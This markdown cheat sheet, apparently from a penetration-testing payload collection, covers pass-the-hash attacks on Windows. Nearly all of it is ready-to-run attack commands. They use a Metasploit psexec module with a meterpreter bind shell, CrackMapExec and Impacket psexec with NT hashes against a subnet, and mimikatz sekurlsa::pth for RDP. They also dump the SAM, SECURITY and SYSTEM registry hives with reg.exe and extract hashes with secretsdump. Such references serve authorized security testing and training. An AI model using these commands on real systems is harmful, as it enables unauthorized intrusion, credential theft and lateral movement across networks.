38 lines
1.5 KiB
Markdown
38 lines
1.5 KiB
Markdown
# Hash - Pass-the-Hash
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The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes. Since Windows Vista, attackers have been unable to pass-the-hash to local admin accounts that weren’t the built-in RID 500.
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* Metasploit
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```powershell
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use exploit/windows/smb/psexec
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set RHOST 10.2.0.3
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set SMBUser jarrieta
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set SMBPass nastyCutt3r
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# NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack.
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# NOTE2: Require the full NT hash, you may need to add the "blank" LM (aad3b435b51404eeaad3b435b51404ee)
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set PAYLOAD windows/meterpreter/bind_tcp
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run
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shell
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```
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* CrackMapExec
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```powershell
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cme smb 10.2.0.2/24 -u jarrieta -H 'aad3b435b51404eeaad3b435b51404ee:489a04c09a5debbc9b975356693e179d' -x "whoami"
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```
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* Impacket suite
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```powershell
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proxychains python ./psexec.py jarrieta@10.2.0.2 -hashes :489a04c09a5debbc9b975356693e179d
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```
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* Windows RDP and mimikatz
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```powershell
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sekurlsa::pth /user:Administrator /domain:contoso.local /ntlm:b73fdfe10e87b4ca5c0d957f81de6863
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sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the users ntlm hash> /run:"mstsc.exe /restrictedadmin"
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```
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You can extract the local **SAM database** to find the local administrator hash :
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```powershell
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C:\> reg.exe save hklm\sam c:\temp\sam.save
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C:\> reg.exe save hklm\security c:\temp\security.save
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C:\> reg.exe save hklm\system c:\temp\system.save
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$ secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
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``` |